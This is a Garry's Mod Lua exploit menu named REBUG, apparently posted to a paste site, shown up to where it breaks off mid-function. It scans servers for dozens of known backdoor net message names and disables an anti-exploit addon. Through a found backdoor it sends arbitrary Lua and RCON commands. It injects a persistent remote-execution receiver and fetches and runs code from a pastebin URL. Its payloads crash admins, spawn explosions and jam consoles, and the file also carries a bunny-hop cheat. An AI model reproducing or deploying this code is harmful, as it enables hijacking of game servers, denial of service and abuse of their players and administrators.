· 7 years ago · Jan 23, 2019, 08:58 PM
1surface.PlaySound("HL1/fvox/bell.wav")
2print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
3print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
4print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
5MsgC(Color(255,0,0),[[
6 ____________________________________________________
7]])MsgC(Color(255,64,0),[[
8 / \
9]])MsgC(Color(255,128,0),[[
10 | _____________________________________________ |
11]])MsgC(Color(255,191,0),[[
12 | | | |
13]])MsgC(Color(255,255,0),[[
14 | | _____ ______ ____ _ _ _____ | |
15]])MsgC(Color(191,255,0),[[
16 | | | __ \| ____| _ \| | | |/ ____| | |
17]])MsgC(Color(128,255,0),[[
18 | | | |__) | |__ | |_) | | | | | __ | |
19]])MsgC(Color(64,255,0),[[
20 | | | _ /| __| | _ <| | | | | |_ | | |
21]])MsgC(Color(0,255,0),[[
22 | | | | \ \| |____| |_) | |__| | |__| | | |
23]])MsgC(Color(0,255,64),[[
24 | | __|_| _\_\______|____/ \____/_\_____|__ | |
25]])MsgC(Color(0,255,128),[[
26 | | / ____| | | | ____| /\|__ __/ ____| | |
27]])MsgC(Color(0,255,191),[[
28 | | | | | |__| | |__ / \ | | | (___ | |
29]])MsgC(Color(0,255,255),[[
30 | | | | | __ | __| / /\ \ | | \___ \ | |
31]])MsgC(Color(0,191,255),[[
32 | | | |____| | | | |____ / ____ \| | ____) | | |
33]])MsgC(Color(0,128,255),[[
34 | | \_____|_| |_|______/_/ \_\_| |_____/ | |
35]])MsgC(Color(0,64,255),[[
36 | | | |
37]])MsgC(Color(0,0,255),[[
38 | | | |
39]])MsgC(Color(64,0,255),[[
40 | | | |
41]])MsgC(Color(128,0,255),[[
42 | | | |
43]])MsgC(Color(191,0,255),[[
44 | |_____________________________________________| |
45]])MsgC(Color(255,0,255),[[
46 | |
47]])MsgC(Color(255,0,191),[[
48 \_____________________________________________________/
49]])MsgC(Color(255,0,128),[[
50 \_______________________________________/
51]])MsgC(Color(255,0,64),[[
52 _______________________________________________
53]])MsgC(Color(255,0,0),[[
54 _-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
55]])MsgC(Color(255,64,0),[[
56 _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
57]])MsgC(Color(255,128,0),[[
58 _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
59]])MsgC(Color(255,191,0),[[
60 _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
61]])MsgC(Color(255,255,0),[[
62 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
63]])MsgC(Color(191,255,0),[[
64:-----------------------------------------------------------------------------:
65]])MsgC(Color(128,255,0),[[
66`----------------------------------------------------------------------------'
67]])MsgC(Color(64,255,0),[[
68â•”â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•—
69]])MsgC(Color(0,255,0),[[
70 Features Added by R3BUG: https://steamcommunity.com/id/Wraithzz/
71]])MsgC(Color(0,255,64),[[
72 GUI Skeet Design by Gubbi: https://steamcommunity.com/profiles/76561198096015834/
73]])MsgC(Color(0,255,128),[[
74╚â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•
75]])
76if hook.GetTable()["SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"] then
77hook.Remove("SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS")
78end
79if concommand.GetTable()["REBUG"] then
80 concommand.Remove("REBUG")
81end
82
83local surface_SetFont = surface.SetFont
84local surface_GetTextSize = surface.GetTextSize
85local surface_SetDrawColor = surface.SetDrawColor
86local surface_DrawLine = surface.DrawLine
87local draw_SimpleText = draw.SimpleText
88local draw_SimpleTextOutlined = draw.SimpleTextOutlined
89local string_Explode = string.Explode
90local math_Rand = math.Rand
91local math_random = math.random
92local math_sin = math.sin
93local math_abs = math.abs
94local HSVtoColor = HSVToColor
95local Realtime = RealTime
96local Frametime = FrameTime
97local Curtime = CurTime
98local Color = Color
99local function RandomString() return tostring(math.random(-9999999999, 9999999999)) end
100local function Check(func)
101if string.find(debug.getinfo(func).short_src,"snte_source.lua") then
102return true
103else
104return false
105end
106end
107timer.Create("FUCKYOUSNTE",5,0,function()for k,v in pairs(net.Receivers) do
108if Check(v) then
109net.Receive(k,function(l,ply)
110ply:ChatPrint("Exploiting is bad :c")
111end)
112end
113end
114end)
115function IsSNTE(msg)
116if true then return true end
117local id = GetMessageID(msg)
118if id < 10 then
119return false
120end
121if table.HasValue(snte_bd,msg) then
122local down = GetMessageToString(id - 1)
123if (not down) then
124return false
125end
126if table.HasValue(snte_bd,down) then
127return true
128end
129local up = GetMessageToString(id + 1)
130if (not up) then
131return false
132end
133if table.HasValue(snte_bd,up) then
134return true
135end
136else
137return false
138end
139return false
140end
141local channel = "";
142local netStrings = {}
143local BD = {}
144local noob = {}
145function CheckIfStringExists(str)
146local status, error = pcall(net.Start, str)
147return status
148end
149function noob.PostLua(str)
150net.Start(channel)
151net.WriteString(str)
152net.WriteBit(1)
153net.SendToServer()
154end
155function noob.Notify(msg)
156chat.AddText(Color(255, 0, 0), "[REBUG] ", color_white, msg)
157end
158local
159_={_="CreateFont"}surface[_._]("MEMES",{font="Courier New",size=25,weight=300,bold=!!1})surface[_._]("MEMES2",{font="Courier New",size=18,weight=300,bold=!!1})surface[_._]("Sheeta2",{font="Arial",extended=!1,size=15,weight=50,blursize=0,scanlines=0,antialias=!!1,underline=!1,italic=!1,strikeout=!1,symbol=!1,rotary=!1,shadow=!1,additive=!1,outline=!1})surface[_._]("Features",{font="Arial",extended=!1,size=16,weight=1000,blursize=0,scanlines=0,antialias=!!1,underline=!1,italic=!1,strikeout=!1,symbol=!1,rotary=!1,shadow=!1,additive=!1,outline=!1})surface[_._]("Features2",{font="Arial",extended=!1,size=31,weight=1000,blursize=0,scanlines=0,antialias=!!1,underline=!1,italic=!1,strikeout=!1,symbol=!1,rotary=!1,shadow=!1,additive=!1,outline=!1})surface[_._]("Sheeta",{font="Arial",extended=!1,size=50,weight=1000,blursize=0,scanlines=0,antialias=!!1,underline=!1,italic=!1,strikeout=!1,symbol=!1,rotary=!1,shadow=!1,additive=!1,outline=!1})
160netStrings.Strings={{NetString="Sandbox_ArmDupe"},{NetString="Sbox_darkrp"},{NetString="fuwa"},{NetString="Sbox_itemstore"},{NetString="Ulib_Message"},{NetString="✞"},{NetString="ULogs_Info"},{NetString="ITEM"},{NetString="R8"},{NetString="fix"},{NetString="Ù´"},{NetString="zwenboy"},{NetString="Fix_Keypads"},{NetString="Remove_Exploiters"},{NetString="noclipcloakaesp_chat_text"},{NetString="_Defqon"},{NetString="_CAC_ReadMemory","nostrip"},{NetString="nocheat"},{NetString="LickMeOut"},{NetString="ULX_QUERY2"},{NetString="https://i.imgur.com/Gf6hLMl.png"},{NetString="ULXQUERY2"},{NetString="MoonMan"},{NetString="Im_SOCool"},{NetString="Sandbox_GayParty"},{NetString="DarkRP_UTF8"},{NetString="Þà?D)ââ€â€Ã‹Å“"},{NetString="oldNetReadData"},{NetString="memeDoor"},{NetString="BackDoor"},{NetString="OdiumBackDoor"},{NetString="SessionBackdoor"},{NetString="DarkRP_AdminWeapons"},{NetString="cucked"},{NetString="NoNerks"},{NetString="kek"},{NetString="ZimbaBackDoor"},{NetString="slua"},{NetString="kickid2"},{NetString="something"},{NetString="random"},{NetString="strip0"},{NetString="fellosnake"},{NetString="enablevac"},{NetString="idk"},{NetString="r8helper"},{NetString="killserver"},{NetString="fuckserver"},{NetString="cvaraccess"},{NetString="rcon"},{NetString="rconadmin"},{NetString="web"},{NetString="jesuslebg"},{NetString="zilnix"},{NetString="Þà ?D)â—˜"},{NetString="disablebackdoor"},{NetString="kill"},{NetString="DefqonBackdoor"},{NetString="||||"},{NetString="DarkRP_AllDoorDatas"},{NetString="kill"},{NetString="_Warns"},{NetString="FPS_BOOST"},{NetString="lmaogetdunked"},{NetString="FPSBOOST"},{NetString="legendofrobbo"},{NetString="skeleton_dancing_troll"},{NetString="models/player/corpse.mdl"},{NetString="doShit"},{NetString="aze46aez67z67z64dcv4bt"},{NetString="music"},{NetString="xenoexistscl"},{NetString="fourhead"},{NetString="echangeinfo"},{NetString="PlayerItemPickUp"},{NetString="elfamosabackdoormdr"},{NetString="JSQuery.Data(Post(false))"},{NetString="pjHabrp9EY"},{NetString="_Raze"},{NetString="m9k_explosionradius"},{NetString="_Battleye_Meme_"},{NetString="ULogs_B"},{NetString="striphelper"},{NetString="m9k_explosive"},{NetString="GaySploitBackdoor"},{NetString="Bilboard.adverts:Spawn(false)"},{NetString="BOOST_FPS"},{NetString="ULX_QUERY_TEST2"},{NetString="FADMIN_ANTICRASH"},{NetString="ULX_ANTI_BACKDOOR"},{NetString="_clientcvars"},{NetString="_main"},{NetString="thereaper"},{NetString="audisquad_lua"},{NetString="anticrash"},{NetString="mathislebg"},{NetString="plyowner"},{NetString="ZernaxBackdoor"},{NetString="bdsm"},{NetString="waoz"},{NetString="stream"},{NetString="adm_NetString"},{NetString="antiexploit"},{NetString="ReadPing"},{NetString="berettabest"},{NetString="negativedlebest"},{NetString="loona"},{NetString="billys_logs"},{NetString="loona_"},{NetString="blogs_update"},{NetString="nostraall"},{NetString="88_strings_"},{NetString="88"},{NetString="seized"},{NetString="cake"},{NetString="enculer"},{NetString="123"},{NetString="1234"},{NetString="lokisploit"},{NetString="leak"},{NetString="crack"},{NetString="hack"},{NetString="ADM"},{NetString="teamfrench"},{NetString="tf"},{NetString="Nostrip_"},{NetString="ulibcheck"},{NetString="hell"},{NetString="earth"},{NetString="love"},{NetString="CakeInstall"},{NetString="Cakeuptade"},{NetString="snte"},{NetString="sniffing"},{NetString="keylogger"},{NetString="Infinity"},{NetString="Nostra"},{NetString="Obsfucator"},{NetString="insid3"},{NetString="GMOD_NETDBG"},{NetString="UKT_MOMOS"},{NetString="VoteKickNO"},{NetString="REEEEEEEEEEEE"},{NetString="_da_"},{NetString="BDST_EngineForceButton"},{NetString="0x13"},{NetString="stardoor"},{NetString="beedoor"},{NetString="VAC"},{NetString="Hi"},{NetString="apg_togglemode"},{NetString="_chefhackv2"},{NetString="OGLNetworkTESTING21"},{NetString="allowLimitedRCON(user) 0"},{NetString="noUserstrip"},{NetString="1337"},{NetString="randomnetstringstarware"},{NetString="lag_ping"},{NetString="noprop"},{NetString="nolag"},{NetString="SteamApp2313"},{NetString="FPP_RemovePLYCache"},{NetString="REBUG"},{NetString="gag"},{NetString="SENDTEST"},{NetString="rcivluz"},{NetString="FPP_AntiStrip"},{NetString="ABCDEFGEEZGEEGZGE"}}
161function CheckBackdoors()
162for k,v in pairs(netStrings.Strings) do
163if(CheckIfStringExists(v.NetString)) then
164channel = v.NetString
165chat.AddText(Color(255, 0, 0), "[REBUG]", Color( 20, 150, 20 )," Found Vulnerability â–¶ ", Color(20, 150, 200), [[]] ..v.NetString)
166end
167end
168end
169concommand.Add("bd_scan", function()
170CheckBackdoors()
171end)
172concommand.Add("bd_strings", function()
173local netstrings = {}
174for i = 1, 9999 do
175local s = util.NetworkIDToString(i)
176if s then print("NetChannel "..i.." = "..s) else break end
177end
178end)
179function GlowColor(c, t, m)
180return Color(c.r + ((t.r - c.r) * (m)), c.g + ((t.g - c.g) * (m)), c.b + ((t.b - c.b) * (m)))
181end
182local ply = LocalPlayer()
183--[[-------------------------------------------------------------------------
184Gradients
185---------------------------------------------------------------------------]]
186local grad = Material("gui/gradient")
187local upgrad = Material("gui/gradient_up")
188local downgrad = Material("gui/gradient_down")
189--[[-------------------------------------------------------------------------
190Colors
191---------------------------------------------------------------------------]]
192local o_color1 = Color(17,17,17,255)
193local o_color11 = Color(22,22,22,255)
194local o_color2 = Color(30,30,30,255)
195local o_color3 = Color(50, 50,50,255)
196local o_color4 = Color(42, 42,42,255)
197--[[-------------------------------------------------------------------------
198Automatic Bhop
199---------------------------------------------------------------------------]]
200local function ch_bunnyhop(ply)
201if(ply:KeyDown(IN_JUMP) && !LocalPlayer():IsOnGround()) then
202ply:RemoveKey(IN_JUMP);
203if !LocalPlayer():IsFlagSet(FL_ONGROUND) and LocalPlayer():GetMoveType() != MOVETYPE_NOCLIP then
204if(ply:GetMouseX() > 1 || ply:GetMouseX() < -1) then
205ply:SetSideMove(ply:GetMouseX() > 1 && 400 || -400);
206else
207ply:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D());
208ply:SetSideMove((ply:CommandNumber() % 2 == 0) && -400 || 400);
209end
210end
211elseif(ply:KeyDown(IN_JUMP)) then
212ply:SetForwardMove(10000)
213end
214end
215hook.Add("CreateMove", "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS", function(ply)
216ch_bunnyhop(ply);
217end);
218
219--[[-------------------------------------------------------------------------
220MENU DFRAME / MAIN MENU
221---------------------------------------------------------------------------]]
222function REBUGGUI()
223local REBUG = vgui.Create("DFrame")
224surface.PlaySound("buttons/bell1.wav")
225REBUG:SetSize(950, 720)
226REBUG:SetVisible(true)
227REBUG:SetTitle("")
228REBUG:SetDraggable(true)
229REBUG:ShowCloseButton(false)
230REBUG:MakePopup()
231REBUG:Center()
232REBUG.Paint = function(s, w, h)
233surface.SetDrawColor(Color(42, 42,42,255))
234surface.DrawRect(0, 0, w, h)
235surface.SetDrawColor(21, 21, 21)
236surface.SetMaterial(upgrad)
237surface.SetDrawColor(o_color2)
238surface.SetMaterial(downgrad)
239surface.SetDrawColor(o_color2)
240surface.SetDrawColor(0, 0, 0, 255)
241surface.DrawOutlinedRect(0, 0, w, h)
242surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
243end
244
245--[[-------------------------------------------------------------------------
246Custom Close GUI
247---------------------------------------------------------------------------]]
248local exitmenu = vgui.Create('DButton', REBUG)
249exitmenu:SetSize(14, 13)
250exitmenu:SetPos(940, 2)
251exitmenu:SetText("")
252exitmenu:SetTextColor(Color(255, 0, 0, 255))
253exitmenu:SetFont("Features")
254exitmenu.Paint = function(s, w, h)
255surface.SetDrawColor(Color (21, 21, 21, 255))
256end
257exitmenu.DoClick = function()
258surface.PlaySound("npc/turret_floor/click1.wav")
259REBUG:SizeTo(0, 0, .2, 0, .2)
260timer.Simple(0.3,function()
261REBUG:Close()
262end)
263end
264
265--[[-------------------------------------------------------------------------
266DPanels /DPanelLists
267---------------------------------------------------------------------------]]
268local bdsettings = vgui.Create('DPanel',REBUG)
269bdsettings:SetVisible(false)
270bdsettings:SetSize(791, 703)
271bdsettings:SetPos(151, 9)
272bdsettings.Paint = function(s, w, h)
273surface.SetDrawColor(Color(20, 20, 20))
274surface.DrawRect(0, 0, w, h)
275surface.SetDrawColor(21, 21, 21)
276surface.SetMaterial(upgrad)
277surface.SetDrawColor(o_color2)
278surface.SetMaterial(downgrad)
279surface.SetDrawColor(o_color2)
280surface.SetDrawColor(35, 35, 35, 255)
281surface.DrawOutlinedRect(0, 0, w, h)
282end
283
284local Rainbowbar3 = vgui.Create('DPanelList', bdsettings)
285Rainbowbar3:SetSize(939, 3)
286Rainbowbar3:SetPos(0, 0)
287Rainbowbar3.Paint = function(s, w, h)
288surface.SetDrawColor(Color(100, 100, 100))
289surface.DrawRect(0, 0, w, h)
290surface.SetDrawColor(21, 21, 21)
291surface.SetMaterial(upgrad)
292surface.SetDrawColor(o_color2)
293surface.SetMaterial(downgrad)
294surface.SetDrawColor(o_color2)
295surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
296surface.DrawOutlinedRect(0, 0, w, h)
297surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
298end
299
300local backdoorpanel = vgui.Create('DPanel',REBUG)
301backdoorpanel:SetVisible(false)
302backdoorpanel:SetSize(791, 703)
303backdoorpanel:SetPos(151, 9)
304backdoorpanel.Paint = function(s, w, h)
305surface.SetDrawColor(Color(20, 20, 20))
306surface.DrawRect(0, 0, w, h)
307surface.SetDrawColor(21, 21, 21)
308surface.SetMaterial(upgrad)
309surface.SetDrawColor(o_color2)
310surface.SetMaterial(downgrad)
311surface.SetDrawColor(o_color2)
312surface.SetDrawColor(35, 35, 35, 255)
313surface.DrawOutlinedRect(0, 0, w, h)
314end
315
316local bdrainbowbar = vgui.Create('DPanelList', backdoorpanel)
317bdrainbowbar:SetSize(939, 3)
318bdrainbowbar:SetPos(0, 0)
319bdrainbowbar.Paint = function(s, w, h)
320surface.SetDrawColor(Color(20, 20, 20))
321surface.DrawRect(0, 0, w, h)
322surface.SetDrawColor(21, 21, 21)
323surface.SetMaterial(upgrad)
324surface.SetDrawColor(o_color2)
325surface.SetMaterial(downgrad)
326surface.SetDrawColor(o_color2)
327surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
328surface.DrawOutlinedRect(0, 0, w, h)
329surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
330end
331
332local TabPanel = vgui.Create('DPanelList', REBUG)
333TabPanel:SetSize(143, 703)
334TabPanel:SetPos(8, 9)
335TabPanel.Paint = function(s, w, h)
336surface.SetDrawColor(Color(20, 20, 20))
337surface.DrawRect(0, 0, w, h)
338surface.SetDrawColor(21, 21, 21)
339surface.SetMaterial(upgrad)
340surface.SetDrawColor(o_color2)
341surface.SetMaterial(downgrad)
342surface.SetDrawColor(o_color2)
343surface.SetDrawColor(35, 35, 35, 255)
344surface.DrawOutlinedRect(0, 0, w, h)
345end
346
347local Rainbowbar2 = vgui.Create('DPanelList', TabPanel)
348Rainbowbar2:SetSize(939, 3)
349Rainbowbar2:SetPos(0, 0)
350Rainbowbar2.Paint = function(s, w, h)
351surface.SetDrawColor(Color(100, 100, 100))
352surface.DrawRect(0, 0, w, h)
353surface.SetDrawColor(21, 21, 21)
354surface.SetMaterial(upgrad)
355surface.SetDrawColor(o_color2)
356surface.SetMaterial(downgrad)
357surface.SetDrawColor(o_color2)
358surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
359surface.DrawOutlinedRect(0, 0, w, h)
360surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
361end
362
363--[[-------------------------------------------------------------------------
364Buttons
365---------------------------------------------------------------------------]]
366local Tab1 = vgui.Create("DButton",TabPanel)
367Tab1:SetSize(136, 74)
368Tab1:SetPos(3, 11)
369Tab1:SetText("Backdoors")
370Tab1:SetFont("Features")
371Tab1:SetTextColor(Color(255, 255, 255, 255))
372Tab1.Paint = function(self, w, h)
373surface.SetDrawColor(Color(23, 23, 23))
374surface.DrawRect(0, 0, w, h)
375surface.SetDrawColor(26, 26, 26)
376surface.SetMaterial(upgrad)
377surface.SetDrawColor(o_color2)
378surface.SetMaterial(downgrad)
379surface.SetDrawColor(o_color2)
380surface.SetDrawColor(31, 31, 31, 255)
381surface.DrawOutlinedRect(0, 0, w, h)
382end
383Tab1.DoClick = function()
384backdoorpanel:SetVisible(true)
385bdsettings:SetVisible(false)
386end
387
388local Tab2 = vgui.Create("DButton",TabPanel)
389Tab2:SetSize(136, 74)
390Tab2:SetPos(3, 91)
391Tab2:SetText("Settings")
392Tab2:SetFont("Features")
393Tab2:SetTextColor(Color(255, 255, 255, 255))
394Tab2.Paint = function(self, w, h)
395surface.SetDrawColor(Color(23, 23, 23))
396surface.DrawRect(0, 0, w, h)
397surface.SetDrawColor(26, 26, 26)
398surface.SetMaterial(upgrad)
399surface.SetDrawColor(o_color2)
400surface.SetMaterial(downgrad)
401surface.SetDrawColor(o_color2)
402surface.SetDrawColor(31, 31, 31, 255)
403surface.DrawOutlinedRect(0, 0, w, h)
404end
405Tab2.DoClick = function()
406backdoorpanel:SetVisible(false)
407bdsettings:SetVisible(true)
408end
409--[[-------------------------------------------------------------------------
410Section Labels
411---------------------------------------------------------------------------]]
412function noob.addLabel(name, posx, posy, parent)
413local T1 = parent:Add("DLabel")
414T1:SetSize(200, 50)
415T1:SetPos(posx, posy)
416T1:SetFont("Features")
417T1:SetText(name)
418T1:SetTextColor(Color(255, 255, 255, 255))
419end
420noob.addLabel("Backdoors", 74, 14, backdoorpanel)
421noob.addLabel("Extras", 438, 14, backdoorpanel)
422noob.addLabel("RCON", 438, 338, backdoorpanel)
423noob.addLabel("Target String", 14, 0, bdsettings)
424noob.addLabel("Lua Executor", 17, 85, bdsettings)
425--[[-------------------------------------------------------------------------
426Backdoorpanel Section
427---------------------------------------------------------------------------]]
428local P2 = vgui.Create('DPanelList', backdoorpanel)
429P2:SetSize(353, 632)
430P2:SetPos(43, 54)
431P2.Paint = function(s, w, h)
432surface.SetDrawColor(Color(20, 20, 20))
433surface.DrawRect(0, 0, w, h)
434surface.SetDrawColor(21, 21, 21)
435surface.SetMaterial(upgrad)
436surface.SetDrawColor(o_color2)
437surface.SetMaterial(downgrad)
438surface.SetDrawColor(o_color2)
439surface.SetDrawColor(70, 70, 70, 255)
440surface.DrawOutlinedRect(0, 0, w, h)
441end
442
443local P3 = vgui.Create('DPanelList', backdoorpanel)
444P3:SetSize(353, 278)
445P3:SetPos(419, 54)
446P3.Paint = function(s, w, h)
447surface.SetDrawColor(Color(20, 20, 20))
448surface.DrawRect(0, 0, w, h)
449surface.SetDrawColor(21, 21, 21)
450surface.SetMaterial(upgrad)
451surface.SetDrawColor(o_color2)
452surface.SetMaterial(downgrad)
453surface.SetDrawColor(o_color2)
454surface.SetDrawColor(70, 70, 70, 255)
455surface.DrawOutlinedRect(0, 0, w, h)
456end
457
458local P4 = vgui.Create('DPanelList', backdoorpanel)
459P4:SetSize(353, 309)
460P4:SetPos(419, 377)
461P4.Paint = function(s, w, h)
462surface.SetDrawColor(Color(20, 20, 20))
463surface.DrawRect(0, 0, w, h)
464surface.SetDrawColor(21, 21, 21)
465surface.SetMaterial(upgrad)
466surface.SetDrawColor(o_color2)
467surface.SetMaterial(downgrad)
468surface.SetDrawColor(o_color2)
469surface.SetDrawColor(70, 70, 70, 255)
470surface.DrawOutlinedRect(0, 0, w, h)
471end
472
473--[[-------------------------------------------------------------------------
474RCON Access / CMD Sender
475---------------------------------------------------------------------------]]
476local shitbox = vgui.Create("DTextEntry", P4)
477shitbox:SetPos(7, 103)
478shitbox:SetSize(340, 200)
479shitbox:SetMultiline(true)
480shitbox:SetTextColor(Color(255, 255, 255, 255))
481shitbox:SetFont("Sheeta2")
482shitbox.Paint = function(self, w, h)
483surface.SetDrawColor(Color(20, 20, 20))
484surface.DrawRect(0, 0, w, h)
485surface.SetDrawColor(45, 45, 45)
486surface.SetMaterial(upgrad)
487surface.SetDrawColor(o_color2)
488surface.SetMaterial(downgrad)
489surface.SetDrawColor(o_color2)
490surface.SetDrawColor(35, 35, 35, 255)
491surface.DrawOutlinedRect(0, 0, w, h)
492self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
493end
494
495local rconsender = vgui.Create("DButton", P4)
496rconsender:SetPos(7, 11)
497rconsender:SetSize(340, 40)
498rconsender:SetText(" RCON CMD ")
499rconsender:SetTextColor(Color(255, 255, 255, 255))
500rconsender:SetFont("Features")
501rconsender.Paint = function(self, w, h)
502surface.SetDrawColor(Color(20, 20, 20))
503surface.DrawRect(0, 0, w, h)
504surface.SetDrawColor(45, 45, 45)
505surface.SetMaterial(upgrad)
506surface.SetDrawColor(o_color2)
507surface.SetMaterial(downgrad)
508surface.SetDrawColor(o_color2)
509surface.SetDrawColor(35, 35, 35, 255)
510surface.DrawOutlinedRect(0, 0, w, h)
511end
512
513rconsender.DoClick = function()
514surface.PlaySound("buttons/button18.wav")
515local getRCON = shitbox:GetValue()
516net.Start(channel)
517net.WriteString(getRCON)
518net.WriteBit(false)
519net.SendToServer()
520end
521
522local luasender = vgui.Create("DButton", P4)
523luasender:SetPos(7, 57)
524luasender:SetSize(340, 40)
525luasender:SetText(" LUA CMD ")
526luasender:SetTextColor(Color(255, 255, 255, 255))
527luasender:SetFont("Features")
528luasender.Paint = function(self, w, h)
529surface.SetDrawColor(Color(20, 20, 20))
530surface.DrawRect(0, 0, w, h)
531surface.SetDrawColor(45, 45, 45)
532surface.SetMaterial(upgrad)
533surface.SetDrawColor(o_color2)
534surface.SetMaterial(downgrad)
535surface.SetDrawColor(o_color2)
536surface.SetDrawColor(35, 35, 35, 255)
537surface.DrawOutlinedRect(0, 0, w, h)
538end
539luasender.DoClick = function()
540surface.PlaySound("buttons/button18.wav")
541local getLUA = shitbox:GetValue()
542noob.PostLua(getLUA)
543end
544--[[-------------------------------------------------------------------------
545Scroll Bars
546---------------------------------------------------------------------------]]
547local bar1 = vgui.Create("DScrollPanel", P2)
548bar1:Dock(FILL)
549
550local bar2 = vgui.Create("DScrollPanel", P3)
551bar2:Dock(FILL)
552
553local bar3 = vgui.Create("DScrollPanel", BD2)
554bar3:Dock(FILL)
555--[[-------------------------------------------------------------------------
556Button Function
557---------------------------------------------------------------------------]]
558function noob.AddButton(name, parent, func)
559local button = parent:Add("DButton")
560button:SetText("")
561button:Dock(TOP)
562button:DockMargin(0, 0, 0, 2)
563button:SetSize(350, 33)
564button.DoClick = func
565button.Paint = function(self, w, h)
566surface.SetDrawColor(Color(20, 20, 20))
567surface.DrawRect(0, 0, w, h)
568surface.SetDrawColor(45, 45, 45)
569surface.SetMaterial(upgrad)
570surface.SetDrawColor(o_color2)
571surface.SetMaterial(downgrad)
572surface.SetDrawColor(o_color2)
573surface.SetDrawColor(35, 35, 35, 255)
574surface.DrawOutlinedRect(0, 0, w, h)
575draw.SimpleTextOutlined(name, "Features", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1, 1, color_black)
576end
577end
578--[[-------------------------------------------------------------------------
579Backdoorpanel Features 1
580---------------------------------------------------------------------------]]
581noob.AddButton("Inject SendLua Interface", bar1, function()
582surface.PlaySound("buttons/button18.wav")
583noob.PostLua([[util.AddNetworkString ('REBUG') net.Receive ('REBUG', function (length, ply) local netString = net.ReadString () local bit = net.ReadBit () if bit == 1 then RunString (netString) else game.ConsoleCommand (netString ..'\n') end end)]])
584end)
585
586noob.AddButton("Persistent Infection", bar1, function()
587surface.PlaySound("buttons/button18.wav")
588end)
589
590noob.AddButton("Artillery Strike", bar1, function()
591surface.PlaySound("buttons/button18.wav")
592noob.PostLua([[if !bombstrike then
593hook.Add("Think", "lulz_bombstrike", function()
594local explode = ents.Create("env_explosion")
595local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
596local trc = {}
597trc.start = ps
598trc.endpos = ps + Vector(0, 0, -99999)
599local tr = util.TraceLine(trc)
600if !tr.Hit then return end
601explode:SetPos(tr.HitPos)
602explode:Spawn()
603explode:SetKeyValue("iMagnitude", "400")
604explode:Fire("Explode", 0, 0)
605end)
606bombstrike = true
607else
608hook.Remove("Think", "lulz_bombstrike")
609bombstrike = false
610end]])
611end)
612
613noob.AddButton("Broken Glass Symphony", bar1, function()
614surface.PlaySound("buttons/button18.wav")
615noob.PostLua([[if !timer.Exists("A true masterpiece") then
616timer.Create("A true masterpiece", 0.2, 0, function()
617for _, p in pairs(player.GetAll()) do
618p:EmitSound("physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random(40, 180))
619end
620end)
621else
622timer.Remove("A true masterpiece")
623end]])
624end)
625
626noob.AddButton("Console Jammer", bar1, function()
627surface.PlaySound("buttons/button18.wav")
628noob.PostLua([[if !(timer.Exists("consoleJammer")) then
629timer.Create("consoleJammer", 0.5, 0, function()
630print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
631end)
632else
633timer.Destroy("consoleJammer")
634end]])
635end)
636
637noob.AddButton("Crash Admins / VIPs", bar1, function()
638surface.PlaySound("buttons/button18.wav")
639noob.PostLua([[for k,v in pairs(player.GetAll()) do if(v:GetUserGroup() != "user") then v:SendLua("while true do end") end end]])
640end)
641
642noob.AddButton("Corruption", bar1, function()
643surface.PlaySound("buttons/button18.wav")
644noob.PostLua([[http.Fetch("https://pastebin.com/raw/617S3m9V",function(b,l,h,c)RunString(b)end,nil)]])
645end)
646
647noob.AddButton("Cleanup Map", bar1, function()
648surface.PlaySound("buttons/button18.wav")
649noob.PostLua([[game.CleanUpMap()]])
650end)
651
652noob.AddButton("Disco Mode", bar1, function()
653surface.PlaySound("buttons/button18.wav")
